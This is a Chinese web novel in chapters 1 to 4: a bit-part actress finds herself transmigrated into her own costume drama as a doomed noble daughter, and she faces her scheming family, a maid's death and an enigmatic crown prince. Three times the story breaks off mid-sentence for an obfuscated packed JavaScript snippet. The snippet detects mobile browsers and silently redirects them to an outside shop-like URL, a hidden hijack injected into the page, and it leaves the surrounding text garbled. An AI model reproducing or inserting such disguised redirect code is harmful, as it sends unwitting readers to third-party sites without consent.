《白月光她和疯批太子跑了》 1. 穿越 今日的林府,表面风平浪静,实则暗潮汹涌,每个人都行色匆匆。 只因林家大小姐林若华在中元节那夜,乘人不备,悄悄溜出了家门,彻夜未归。 府中不敢声张,更不敢惊动官府,只能派出下人暗中搜寻,结果一无所获。 直至次日清晨,一辆不起眼的马车停在了林府侧门。 有个面无表情,腰佩长刀的高大男子,将一身狼狈大小姐送了回来。 他自称是太子近卫,言语间滴水不漏,只含糊提及大小姐昨夜在京郊遭遇山匪袭击,幸得太子殿下路过搭救。 京城天子脚下,哪儿来的山匪如此猖狂? 这漏洞百出的说辞,自是难以说服众人。 有细心人发现,大小姐换了陌生的衣裙。 一时间,府内下人窃窃私语。 众人都在猜测,老爷会不会为了保全清誉,将大小姐远远发落到庄子里去,或者送入庙中青灯古佛,甚至干脆一条白绫了结。 林若华住的小院本就偏远,此时更显冷清。 床榻边,只有一个圆脸杏眼的丫鬟守着。 她原本厨房里一个毫不起眼的烧火丫头,名叫酥酪。 其他下人避之不及,生怕与这桩丑事沾上半点关系,她却主动揽下了差事。 酥酪小心翼翼地为榻上人擦完额头上的冷汗,目光凝视大小姐略显苍白却难掩绝色的面容,一下子看呆了。 她从前怎么没发现,大小姐生得这样好看。 眉眼鼻唇像是被精心描画过,就跟她幼时在庙里壁画上见过的仙子一样。 酥酪心中激动不已。 太子啊,送大小姐回来的,可是当今太子殿下! 她攥紧手帕,暗自发誓,一定要牢牢抓住这次的机会。 可现在已是第三日了,大小姐依旧昏迷不醒,有时还会喃喃自语,好像深陷梦魇之中。 酥酪不由得担心起来,若是大小姐没有熬过去,那她的期望岂不是要落空了。 她再次凑近大小姐,侧耳贴在大小姐唇边,试图听清楚大小姐在说什么胡话。 而此时,被所有人认为是林若华的女子,意识正游离在另一个世界里。 对面的青衣男子迎风而立:“太子殿下可是在说笑?事已至此,怎能前功尽弃?” 一副处变不惊的模样,好像完全没有看见紧贴林曦颈间的匕首。 “哈哈哈哈哈,世人皆知三皇子怀瑾握瑜、芝兰玉树,他们定想不到,我这位好三弟,对待心上人竟是这般冷酷无情。” 劫持林曦的锦衣公子放声大笑,俯身凑近怀中的她,林曦觉得耳边像是一条毒蛇正吐着信子:“瞧见了吗?你的情郎不要你了。” 林曦突然觉得有些冷,入秋了吗? 青衣男子的声音再度传来,平静得毫无波澜:“世间赞誉,不过庸人无知罢了。我与太子殿下,并无不同。你我同为弈者,至于若华……” 他的目光从锦衣公子身上移开,最终落在她的脸上:“至于若华……本就是局中一子。” 林曦闻言,竟然觉得毫不意外,只是不知不觉中还是流下了眼泪,她这是怎么了? 锦衣公子唇角勾起一抹愉悦的诡笑:“原来如此,倒是为兄的不是。” 话音未落,他骤然松手,将怀中的林曦毫不留情地向前一推。 林曦下意识惊呼出声,踉跄着扑了过去,对面的青衣男子伸手接住了她。 在两人相碰之时,一道银光随着冷风刺来。 锦衣公子眼底戾气忽现,抓住这一瞬间的破绽,人已至青衣男子眼前。 青衣男子反应极快,立刻松手闪身,林曦被重重摔倒在一旁。 两人扭打起来,出手毫不留情,招招致命。 缠斗间,两人一路翻滚,直逼崖边,身旁几颗小碎石也滚落进了深渊。 最终,还是年长的锦衣公子更胜一筹,猛地将青衣男子死死压在身下。 “是你输了啊,弟弟。”锦衣公子一手扼住对方咽喉,另一手高举匕首,对准身下之人的心脏。 此时,林曦感觉自己的身体动了起来,她猛地撞入了锦衣公子怀中。 “你!” 纤细的双手死死抱住对方,拖着人纵身坠向万丈深渊。 林曦最后对上的是锦衣公子不可置信的眼神。 可是很不对劲。 这悬崖怎么还没到底。 好像剧情卡住了。 周围很黑,不仅听不到风声,连那个一起掉下来的锦衣公子也不见了。 卡啊!导演。 卡啊!导演。 有没有人在啊,大家都吃盒饭去了吗? 林曦在心里无声呐喊,身体还一直不受控制地下坠。 怎么还没有人喊卡? “卡!”有一个声音响起,穿透黑暗,阴差阳错间成功将她唤醒。 林曦猛地睁开双眼,胸口剧烈起伏,大口大口地喘着气。 她这动作把床边人吓了一跳。 “大小姐,您可算醒了,您都睡三天了。”一个惊喜的声音响起。 林曦闻声转头,看到一个圆脸小姑娘,梳着双丫髻,穿着古装戏服,一脸欣喜地看着她。 “你是刚来的群演吗?刚才是你喊卡?导演去哪里了?”林曦还没有完全清醒过来,脑子里乱糟糟的。 “奴婢不知道什么群演、导演,奴婢是厨房的酥酪,方才听见大小姐在梦中反复说,喊卡,喊卡,这才大着胆子跟着喊了一声。” 酥酪连忙回道,眼神闪烁了一下,惊扰了大小姐,也不晓得大小姐会不会怪罪。 不是都说这位大小姐没半点脾气,跟个面人儿似的。 “红豆姐姐她……现在管事安排奴婢来伺候您。” 酥酪想到大小姐从前的贴身丫鬟红豆,在那夜莫名其妙地没了性命,被府里草草安葬了。 林曦有些不解。 酥酪是谁?剧本里好像没有这个角色,也根本没有这段剧情。 不是杀青了吗?现在是导演临时加戏? 算了,导演说了算。 林曦瞬间化身打工人:“加戏可以,但是得加钱。” 她的房贷还没有还完呢。 酥酪满脸茫然:“大小姐,您在说什么呀?什么加钱?奴婢听不懂。您醒了就好,奴婢这就去禀告老爷夫人,还得去请大夫再来给您瞧瞧……” “等一下!”林曦急忙叫住酥酪。 她终于察觉不对了,仔细打量四周。 这里绝不是什么剧组的布景。 身下硬邦邦的木床,房间里寥寥无几的家具,样式陈旧,不远处的一个衣柜甚至掉了一大块漆。 空气中弥漫着一股淡淡的中药味。 她好像是在片场出事了,记忆里最后的片段是重物狠狠砸落的闷响和四周的尖叫声。 林曦的脑海冒出一个荒谬的念头,她看过不少小说电影电视剧,这情形该不会是穿越了吧。 她挣扎着想要下床,去拿梳妆台上那面铜镜,可身体沉重得不听使唤,险些跌倒在地。 “大小姐!”酥酪连忙扶住她,“大夫吩咐了,您醒过来也得好好静养,不能乱动。” “把镜子拿给我一下,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423307|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。”林曦声音带着自己都未察觉的颤抖。 酥酪赶紧将铜镜捧到她面前。 镜面里,清晰地映出一个美人来。 镜中人眉眼如画,带着两分病弱的苍白,却丝毫不减姿色,气质清冷出尘,如同不食人间烟火的仙女。 她笑,镜中人也浅笑。 她皱眉,镜中人也跟着皱眉。 然而这绝世美人一开口,瞬间将仙人拉回了凡间。 “这不就是我吗?”林曦忍不住翻了个白眼,语调拖得老长,语气里充满了无奈。 这分明就是她自己的脸,就是精神不太好,她一加班熬夜就这样。 “这就是您啊,大小姐。”酥酪被她的话弄糊涂了。 “这明明就是我嘛!”林曦对着镜子摸了摸自己的脸,又用力掐了掐。 疼。 “大小姐……”酥酪心里直打鼓,怀疑大小姐是不是病傻了,或是沾上了什么不干净的东西。 这可怎么办啊。 林曦注意到酥酪怪异的表情,心下一沉,问道:“那我叫什么名字?” 酥酪赶紧回答:“您是我们林府的大小姐,林若华啊。” 林若华? 林曦右眼皮一跳,升起极其不妙的预感。 “我爹是工部主事林兴业。” 酥酪连连点头,脸上露出释然的神色:“对对对,大小姐您想起来了?” 完了。 她,林曦,一个兢兢业业的十八线小演员,居然穿进了自己刚拍完的古装剧里,还穿到了自己扮演的角色身上。 《君心似明月》是部架空古装剧,讲的是一代帝王萧玄鹤传奇的一生。 少年时智斗太子兼与白月光谈恋爱。 青年时为国为民兼与朱砂痣谈恋爱。 登基后周旋于一二三四五妃,六七八九十嫔之间的爱恨情仇,顺便救民于水火。 最后原配皇后作死,真爱成功上位。 天下也太平了。 完结,撒花。 而她饰演的林若华,就是男主少年时期的恋爱对象。 一个早早为男主牺牲,让他念念不忘一辈子的白月光。 戏份不多,但都是推动剧情的关键点。 至于男主是真爱她还是更爱她顺手带走了太子政敌。 林曦私下觉得,后者的成分可能更大些。 至于剧里的逻辑,那是不存在的。 为什么心思缜密的太子会被反杀?别问,问就是剧情需要。 为什么男主坐拥江山美人还觉得自己孤独可怜?别问,问就是深情人设。 为什么九十斤的她能撞飞一米八五的太子?别问,问就是鼓风机和爱的力量。 他们这是古偶剧,是古偶剧,又不是什么历史正剧,不要在意太多细节。 林若华本来只是个戏份很少,活在回忆杀里的工具人啊。 酥酪还在继续说:“中元节那日,您和红豆姐姐路上遇到了山匪,是太子殿下恰巧路过,将你救下,后来让近卫送您回府的。” “等一下!”林曦一下抓住关键词,声音都变了调,“太子,他怎么样了?” 按照剧本,他不是应该和她同归于尽,摔下悬崖死了吗?难道没死成。 酥酪被她激动的神情吓了一跳,小心翼翼地回答:“太子殿下?没听说有什么事啊。” 林曦只觉得眼前一黑。 太子没死。 那他肯定记得是谁把他撞下悬崖的。 她这岂不是刚穿过来,就又要被那位疯批太子弄死一遍。 这下真完了! 2. 林家 酥酪见大小姐已无大碍,只是独自出神,便轻手轻脚地退出房门找人去了。 房门吱呀一声合上,屋里顿时安静下来。 林曦听着窗外传来的几声清脆的鸟叫声,这才回过神来,心想,从此刻起,她就是林若华了。 她躺在床上,望着头顶略显陈旧的帐幔,眨着眼睛,渐渐冷静下来。 不对啊,太子要是真想杀我,早就动手了,干嘛还特意把我送回来,简直是多此一举。 她摸了摸刚被自己掐红的脸颊,嘴角一抽,该不会是,看上我了吧? 随即又摇摇头,不可能,太子不是这个人设。 那么她身上唯一的价值,恐怕就只有和男主萧玄鹤那一点关系了。 算了算了,反正暂时死不了,事到如今,先睡觉吧。 困意袭来,刚闭上眼睛,门外便响起了脚步声。 林若华连忙把枕边的白色面纱戴在脸上,只露出一双秋水盈盈的眼睛。 敲门后,酥酪领着一位须发花白的老大夫匆匆进来。 老大夫捋着胡子把了半天脉,最后慢悠悠地说:“小姐这是惊吓过度,心神受损,好生休养几日便无大碍。” 他提笔写下药方,又仔细叮嘱了煎服之法。 酥酪恭敬地送大夫出去,林若华又重新躺下。 她突然意识到,接下来马上要应对林若华的家人。 闭上眼,努力回忆剧本里的设定。 林若华真的是一个小苦瓜。 父亲出身寒微,自幼父母双亡,寄人篱下,尝尽世态炎凉,却又偏偏有副读书的好头脑,外加一副俊俏的皮囊。 母亲与他寄宿的亲戚家本是邻居。 两人也算得上是青梅竹马,郎才女貌。 外祖父见他读书颇有天分,便出资供他求学,还将女儿许配给他。 后来他靠着岳父的资助和妻子的嫁妆继续科举,但是越考越瞧不起商贾出身的发妻。 中进士前就已心生嫌弃,又怕落人口实,骂他抛弃糟糠,影响仕途。 不久,母亲难产而亡,而林若华恰好在中元节降生。 “阴气太重,命中带煞,克夫克母。”,算命的批语成了父亲抛弃亲生骨肉最好的借口。 他将这不祥的女儿直接丢给岳家,自己迅速攀附高门,续娶了如今的继母叶氏。 林若华在外祖家的庇护下长到八岁,可一场突如其来的灾祸,夺去了几乎所有亲人的性命,只有她和奶娘侥幸逃生。 奶娘带着她千里迢迢上京寻父,意料之中的,没有骨肉团聚的温情,等待她的只有冷眼和磋磨。 父亲视她为耻辱,冷漠以待。 继母叶氏表面温和,实则笑里藏刀,不动声色地挑拨离间。 那个只小她一岁的继妹林洛瑶,更是将纯粹的恶意明晃晃地写在脸上。 下人们最是势利,见风使舵,克扣用度是常事。 唯一真心护着她的奶娘,在熬了两年后也病逝了。 林若华过得越发艰难。 越想越头疼。 没有户籍文书,没有银钱傍身,在这个时代寸步难行。 难道真要困在这宅院里,开启宅斗模式。 撕渣爹、斗继母、和便宜妹妹扯头花。 光是想想就令人窒息。 她就这么辗转反侧了一夜,直到次日中午,家人才姗姗来迟。 可见林若华有多不受待见。 人还未到,林洛瑶的笑语声老远就传了进来。 林若华默默戴上了面纱,再次将脸遮掩得严严实实。 门被推开,三人依次而入。 为首的中年男子年近四十,身形高瘦,面容依稀可见年轻时的俊朗,眉宇间带着一丝薄凉,应该是林若华的父亲,工部主事林兴业,只出现在台词中的角色。 他身后跟着一位美妇,约莫三十出头,穿着素雅,妆容得体,嘴角含着恰到好处的温柔笑意,应该是林若华的继母叶氏,只出现在设定里的角色。 最后进来的娇俏少女是林若华同父异母的妹妹林洛瑶,穿了一身鲜亮衣裙,戴了两只蝴蝶发钗,看向她时带着毫不掩饰的轻蔑。 这个认识,她们对过好几场戏。 酥酪与其他下人退下,并轻轻掩上了房门。 叶氏率先开口,面带关切:“若华,可觉得好些了?” “劳母亲挂心,已无大碍了。”林若华小声回应,声音透过面纱,显得有些闷。 “无碍?”林兴业冷哼一声,声音严厉,“你可知你这次闯了多大的祸?闺阁小姐,夜不归宿,还惊动了太子殿下,林家的脸面都要被你丢尽了!说,到底发生了何事?” 叶氏忙柔声劝道:“夫君,你消消气,孩子刚受了惊吓,让她慢慢说。” 她一面说着,一面用那双精明的眼睛细细打量着林若华。 这是来套话了。 可她自己也一头雾水,只得继续沿用之前的说辞,低眉顺眼地重复道:“女儿不慎走失,幸得太子殿下路过,出手相助,才得以归来。其余女儿也不清楚。” 见她一问三不知,林兴业夫妇交换了一个眼神。 林兴业深吸一口气,沉着脸道:“事已至此,多说无益,为免风声走漏,损及家门清誉,你的婚事必须尽早定下。我与你母亲商议过了,眼下有两个选择。” 他顿了顿,说出第一个选项:“其一,是我的上峰,工部左侍郎田大人。田大人正值盛年,虽原配早逝,但你过去便是正经的侍郎夫人。” 不会是剧本里那个五十二岁,死了两任原配,有一屋子小妾,生了十一个子女,长子比林若华还大的田大人吧? 不等她消化,叶氏接口道,语气愈发温和:“这其二嘛,是我的一位远房侄儿,家境是清贫了些,但自身是个争气的,已是秀才功名,人品相貌都是极好,只是底下弟妹多了些,耽搁了婚事。你若过去,小两口和和美美,将来总有发达的日子。” 一个是将她送给老上峰做填房换取利益,一个是塞给穷亲戚打发了事。 林若华看见林洛瑶正躲在叶氏身后,用帕子掩着嘴,笑得肩膀直抖。 厉害啊,这两人怕是遗憾不能把她劈成两半,一鱼两吃,一人送一份人情吧。 你们一来就玩这么大? 林兴业见她久久不语,顿时火起:“休要不知好歹,若非此事牵扯到东宫,为父早任你自生自灭,如今肯为你筹谋,已是仁至义尽,你莫要自误。” 林若华抬起眼,望向这个名义上的父亲,声音微微发颤:“父亲,我终究是您的亲生女儿啊,您就真忍心……” “女儿?我没有你这等不知廉耻、给家门蒙羞的女儿!”林兴业勃然怒斥。 林若华抬眼直视他,目光清亮,看得林兴业一阵心虚。 那眼神,像极了她早逝的生母,看穿了他所有不堪的过往,那些他极力想摆脱的贫寒过往。 林兴业被看得一阵心慌,下意识地避开了她的目光。 “罢了罢了,”叶氏见状,连忙打圆场,轻轻拉住林兴业的袖口,“夫君,事已至此,逼她也无用。让若华自己好生思量一番吧,毕竟是一辈子的事。” 她说着,又转向林若华:“若华,你是聪明孩子,要知道,女子一生,终究是要倚仗家族的。” 林兴业重重哼了一声,拂袖而去。 叶氏给林若华留下一个意味深长的眼神,这才转身跟上。 林洛瑶落在最后,凑到床边,笑嘻嘻地丢下一句:“真是个害人精,尽会给家里惹事。把脸遮好,丑八怪。”这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423308|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心满意足地离开。 众人离去,屋内重归于静。 竟然连虚情假意的关怀都没几句。 甚至连宅斗的机会都没有给她。 只想尽快将她这个麻烦扫地出门。 林若华抬手摸了摸脸上的面纱。 这面纱戴了这么多年,起初是因为自幼体弱,又在进京寻父途中风餐露宿,导致面黄肌瘦,结果妹妹一见她,就整日讥笑她丑八怪,继母也假惺惺地劝她:“戴上面纱免得吹风”,又说什么:“多吃些,长成这样,外人还以为我怎么苛待了你呢。” 那位父亲,从来都是不闻不问。 久而久之,连家里人都忘了她究竟长什么模样。 若是知道,怕是能卖个更好的价钱。 也正因如此,无人察觉已经换了一个灵魂。 真正的林若华,早已死在了十六岁生辰那天。 若是那位自小陪她一起长大的贴身侍女还在,或许能从举止中看出破绽吧。 自那日之后,那几位家人再未露过面,仿佛真任她自生自灭。 又这样过了两天,酥酪见她总是无精打采,终于忍不住小声问道:“大小姐,您是不是身子还没好利索,没胃口?” 酥酪端来的饭菜,一碟青菜,一碗米粥。 味道实在不敢恭维,也没有什么油水,不知是厨房一贯如此怠慢她这位失势大小姐,还是这个时代的烹饪调料本就匮乏。 林若华叹了口气,点点头,吃不下,实在是吃不下。 没想到,最后关心她的是这个新来的小丫鬟。 酥酪闻言,从怀里掏出个小布包递过来:“大小姐,您要不尝尝这个?” 布包里有五六块做工精致的桃酥。 林若华在酥酪期盼的目光中,拿起一小块放入口中。 酥脆的口感,甜而不腻的味道瞬间在口中化开。 她惊讶地睁大了眼睛:“好吃!这是你出去买的?” 酥酪脸上泛起一丝红晕:“不是的,是奴婢自己做的。” “你自己做的?”林若华真心实意地赞叹,“真厉害,我就完全做不来这个。” 得到夸奖,酥酪眼睛亮了起来:“奴婢家里以前是开点心铺子的。” 林若华看着酥酪,其实明白,这个小丫鬟是想在她身上下注。 一个烧火丫头,不甘心一辈子埋没在灶膛边,又攀不上得势的主子,只好将希望寄托在她这个看似最没前途,最近又惹了大人物关注的大小姐身上。 她也不能坐以待毙,想了想,忽然开口问道:“酥酪,你到我身边来做贴身丫鬟,你还会些什么?” 酥酪闻言,眼中浮现出几分惊喜,立刻表忠心:“奴婢什么都愿意学,愿为大小姐赴汤蹈火。” “赴汤蹈火倒不必,”林若华轻声说,“我现在不便出门,你能不能想办法替我打听一下,外面关于太子殿下,近来有没有什么消息?” “太子殿下?”酥酪显然吓了一跳。 太子岂是她能打听的? 林若华看着她,轻声说道:“我知道这很难,但你只需听听市井之间有无闲谈,无需刻意打探,更不必靠近任何贵人,你愿意吗?” 酥酪看着大小姐期待的眼神,想想自己的爹娘妹妹,想想曾经的日子,她也想要赌一把,用力地点点头,牙齿紧咬着嘴唇:“奴婢愿意一试。” 于是,从那天中午开始,林若华就开始等。 她坐在窗边,看着太阳从正当空逐渐西斜,最后沉入远山,但始终不见那抹熟悉的身影回来。 酥酪不在,也无人送晚饭。 林若华一次次起身张望,心中越来越不安。 酥酪出去打听些消息,怎么会去了这么久? 该不会出了什么意外吧。 3. 不干 在一般的小说电影电视剧里,总爱安排些俗套的情节。 主角一旦穿越了,如果遇到的第一个人是年轻漂亮的异性,那八成和主角有一段感情纠葛。 如果碰到的第一个人是仙风道骨的老者,那肯定会收主角为徒,教武功送装备当随身老爷爷。 如果第一眼看到的是平凡的丫鬟,那丫鬟一定会成为主角的心腹,跟着主角吃香喝辣,飞黄腾达。 所以,在叶氏身边的嬷嬷引着林若华步入厅堂,林若华亲耳听闻林兴业道出酥酪死讯的那一刻,她只觉得十分荒谬。 怎么会呢?酥酪怎么会死? 那个圆圆脸、眼神总带着几分讨好笑意的小丫鬟,她们分开,明明还不到半天。 “你看看你这几日闹出的好事!”林兴业拍案而起,怒声如雷,“就不能如往日一般安分守己?自己行事荒唐,带的丫鬟也敢在外惹是生非!” 叶氏忙轻抚他的后背,温言劝慰:“夫君息怒。酥酪调到若华身边时日尚短,若华未必知其性情。只是这丫头在厨房时一向最为安分,手脚也勤快,怎会突然在街上冲撞了四皇子殿下?” 她话音稍顿,声音压低了些,转头对林若华说:“四皇子府的人说,她当街冒犯四皇子殿下,已被侍卫当场打死。他们还特地遣人来府上通报了一声。” 四皇子? 那个脑满肠肥、沉迷酒色、仗着身份欺男霸女的小反派? 林若华忍不住辩解:“女儿只是让酥酪上街买些东西,她绝无胆量得罪贵人。四皇子是何等名声,父亲难道不知?满京城谁不晓得他当街纵马、强夺民女的事迹,分明是他……” 啪地一声,林兴业手中的茶杯砸来。 林若华下意识侧身躲开,茶杯在她脚边碎裂开来,碎瓷四溅,滚烫的茶水打湿了她的裙角,留下深色的污渍。 “你还敢躲?”林兴业额角青筋暴起,手指发颤地指着她,“无法无天,真是无法无天!” 叶氏站在他身旁,一边为他顺气,一边轻声劝道:“四皇子岂是我们这等门第能开罪得起的?他既已知晓是我们府上的人,眼下最要紧的,是想个法子平息事端,万万不可再节外生枝了。” 一旁的林洛瑶赶忙附和:“就是就是,万一四皇子殿下因此迁怒我们全家,那可怎么办?” 林兴业沉吟片刻,目光冰冷地看向林若华,像在看一件待价而沽的货物:“既然是你的丫鬟闯的祸,便由你去收拾。收拾细软,明日便将你送至四皇子府上赔罪,或可平息殿下怒火,此事就此作罢。” 林若华怒极反笑,笑声里满是讥讽:“原来父亲心知肚明,根本不是酥酪的错。四皇子好色成性,强抢民女也不是一回两回了。酥酪无辜丧命,您还要女儿去赔罪?” 林兴业冷笑,上下打量她:“你看看你自己,能给四皇子做侍妾,已是你的造化!” 林若华不再看他,只低声问:“酥酪人在哪?” 叶氏拿起手帕,按了按毫无泪意的眼角,唏嘘道:“四皇子的侍卫说,酥酪被丢去城外乱葬岗了。 她语气哀伤,却掩不住那份虚伪:“真是可怜见的,冲撞了皇子,又能如何?莫说是个丫鬟,便是千金小姐,得罪了天家贵胄,下场又能好到哪儿去?我们又能说什么呢?” 话语末尾,似乎带着无奈的认命。 林若华闭上双眼,指尖深深掐入掌心。 酥酪是她来到这世界后见到的第一个人。 她明白那丫头待她好,多少存着些攀附的心思。 可那又怎样? 那捧到她眼前的糕点,那亮晶晶带着期盼的眼神,那份小心翼翼的陪伴是真实的。 酥酪是活生生的人,也会笑也会怕,她不是一个剧本上连名字都没有的角色。 这里不是片场,没有导演喊“卡”就能重来。 这是个真真正正会吃人的世道,稍有不慎,真的会送命。 如果不是她让酥酪上街,酥酪又怎么会遇上四皇子? 正当林兴业与叶氏商议着明日一早便将林若华送往四皇子府时,她忽然开口,声音不大却坚定:“我要去乱葬岗,把酥酪带回来。” “你说什么?反了你了!”林兴业拍案而起。 叶氏也皱起精心描画的眉:“若华,莫要再任性了,若再触怒四皇子,只怕祸及全家,你担当得起吗?” 林若华抬起头,语气出乎意料地平静:“不会有事,其实之前并不是太子殿下救了我,而是我救了太子殿下,我对他有恩,四皇子,得罪不起太子殿下。” 林洛瑶当即嗤笑,声音刺耳:“就凭你?也能救太子?太子殿下人呢?你既救了他,赏赐又在哪里?真会编。” 林兴业眉头一皱,抬手制止了林洛瑶,沉声道:“你细细说来。”眼底闪过一丝精明的算计。 林若华面不改色地继续说:“那日确有刺客行刺太子,我恰巧撞见,无意中助他脱险。殿下此刻必定仍在暗中彻查此事,想要揪出幕后主使,故而未曾声张,以免打草惊蛇。” 林兴业捻着胡须,沉吟不语。 叶氏将信将疑,问道:“若华,此话当真?此事关乎重大,可开不得玩笑。” “当然,”林若华迎上她的目光,毫不闪躲,“女儿怎敢拿太子殿下玩笑?” 才怪。 她也想过伏低做小、忍辱负重,可她发现自己根本做不到。 如果真被送进四皇子府,她也会找机会刺杀那个混蛋。 大不了鱼死网破,谁也别想好过。 林洛瑶尖声道:“爹,娘,你们别信她,她分明是为了逃脱罪责,编造谎话拖延时间,就该立刻把她捆了送去四皇子府!” 就在此时,管家几乎是小跑着进来禀报,声音急促:“老爷,夫人,五日前来过的那位太子近侍又来了。” 林兴业顿时激动得站起身,连声道:“快请,快请。” 林若华看着他这副模样,心道:你好歹也是个六品官,至于吗?不过太子的人怕是来者不善,看看他想做什么。 她抬眼望向步入厅堂的三人。 为首的男子二十出头,一身黑衣,身材高大,面容冷峻。 其后跟着一位年纪相仿的粉衣女子,容貌普通,气质冰冷。 最后是一位提着檀木药箱,神态恭谨的老太医。 那黑衣男子上前一步,声音沉稳:“本官凌北,太子左内率,奉太子殿下之命,特携太医前来为林小姐诊治,以谢当日援手之恩。” 言简意赅,自有一股不容置疑的威势。 林家众人原以为送林若华回来的不过是个寻常侍卫,没想到竟然是东宫太子左内率,官阶比他们家老爷还要高上一头。 太医上前,在众人注视下仔细为林若华诊脉。 片刻后,结论与先前大夫无异,身体已无大碍,只需好生调理。 凌北看着眼前规规矩矩的林若华,表面上波澜不惊,心里却不由想起五天前的凌晨。 他带人沿着悬崖下的暗河焦急搜寻,最终在河滩乱石边找到了昏迷的太子殿下和这位林小姐。 当时的情景着实骇人,这看似柔弱的姑娘将尊贵的太子殿下紧紧压在身下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423309|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人衣衫尽湿,发丝纠缠。 他吓得疾步上前,林小姐恰好晕倒,两人都已陷入了昏迷。 太子殿下唇上甚至疑似破了一块皮。 凌北面上不显,内心早已天翻地覆,疯狂呐喊。 如果林若华知晓他心中所想,大概会用一个词精准形容他:化身尖叫鸡。 凌北稳了稳心神,沉声道:“五日前,幸得林小姐出手相助,殿下方能转危为安。殿下如今玉体稍愈,特命本官前来致谢,并听闻小姐府上丫鬟遭遇不幸之事。” 他略一停顿,目光看向林兴业和叶氏,带着不易察觉的审视:“太子殿下已知晓此事,四殿下行事孟浪,太子殿下已予以斥责。那丫鬟的后事,太子殿下亦派人妥善料理,请林小姐节哀,不必再挂心。” 他微微侧身,示意身后的粉衣女子上前:“殿下虑及小姐身边需人照料,特从身边拨了一名得力的侍女过来,以供小姐驱使,护您周全。” 那粉衣女子上前,对着林家众人行了一礼,动作干脆利落,自带一股劲风,明眼人一看便知是身手不凡的练家子,与其说是侍女,不若说是太子派来的一名隐形护卫。 事毕,凌北没有多待一刻,告辞离去。 直至走出林府,翻身上马,他心头那点疑虑仍未散去。 殿下昏迷初醒时,神志未清,只含糊下令务必将他身边的女子安全送回。 待彻底清醒后,第一件事是详细询问那林小姐的境况,听闻林府之事后,冷笑一声,随即亲自点派了太医和苏南过来。 而殿下自己,连片刻都未休息,直接面圣去了。 凌北握着缰绳,摇了摇头,想不通就罢了。 厅内,林兴业已是喜形于色,捻须微笑。 叶氏脸上亦带上恰到好处的笑容,只是那笑容底下,多少藏了些惊疑不定。 唯有林洛瑶,盯着林若华,眼中几乎要喷出妒火,手中的帕子绞得变了形。 林若华脸上无半点欣喜,她同样想不通,太子这又是唱的哪一出? 她心事重重地回到自己冷清的院子里,那名新来的粉衣女子默默紧随其后。 “你叫什么名字?”林若华停下脚步,回头问道,试图从那张冰冷冷的脸上看出些什么。 对方声音冰冷,毫无情绪起伏:“奴婢苏南。” 惜字如金,态度疏离,周身散发着生人勿近的气息。 不像侍女,更像杀手。 林若华笑了笑:“太子殿下让你来照顾我,委屈你了。” 苏南眼也不抬:“收钱办事。” 林若华:“……” 她知道从苏南这儿套不出话,只能说:“你先下去吧。” 苏南行礼转身,离去时未发出一点声响。 林若华心道,高手啊。 一番折腾,天色已晚。林若华自行洗漱,躺在硬邦邦的床上,思绪不知飘到哪里去了。 酥酪的惨死,林家的凉薄,太子莫名其妙的关照,苏南的神秘莫测, 她辗转反侧,直至夜深,才带着疑惑睡去。 第二日清早,那份迟迟未至的赏赐终于来了。 皇帝身边的大内总管太监王公公亲自携圣旨而至,宣召林若华接旨。 府中上下顿时跪倒一片,林兴业与叶氏脸上是掩不住的激动。 林若华依礼跪在众人之前,待圣旨念毕,缓缓抬起头。 王公公面团似的脸上满是和气的笑容,活像一尊弥勒佛。 林若华忆起剧本中的情节,表情差点裂开。 这一次要来真的了。 4. 加戏 事情要从导演那个一时兴起的念头开始说起。 他们剧组的导演姓何,今年已经四十多岁了。 虽然现在留起了络腮胡,但是还始终怀揣着一颗少男心,憧憬着美好的爱情。 何导演在偶像剧这一领域奋斗了二十年,有着丰富的洒狗血经验。 拍摄接近尾声时,他和戴眼镜的编剧一边喝着纸杯里的咖啡,一边讨论剩下的剧本。 剧中,男主角萧玄鹤有一位早逝的白月光,而男主他爹老皇帝,也有一位早逝的白月光。 老皇帝是开国之君,年少时只是前朝的一个小将军。 前朝沈氏皇室气数已尽,末代皇帝昏庸无能。 皇后在世时还能劝得住他,皇后病逝后,他便彻底放飞了自我。 横征暴敛、宠信奸佞、诛杀忠良。 亡国之君能做的一切,他都干光了。 为君,他失败透顶。 做人,他一塌糊涂。 唯一的优点,大概就只有爱发妻和疼儿女了。 所幸太子秉性温良,公主才貌出众,都随了皇后,也算是歹竹出好笋了。 若太子能顺利继位,或许还能有一线希望挽回这个摇摇欲坠的国家。 可活在水深火热里的百姓等不了了。 小将军也等不了了。 因为昏君的猜忌,小将军全家都被冤杀。 只有他一个人让昏君的女儿明月公主暗中救下。 侥幸逃生后,他举兵起义,最终推翻前朝,登基为帝。 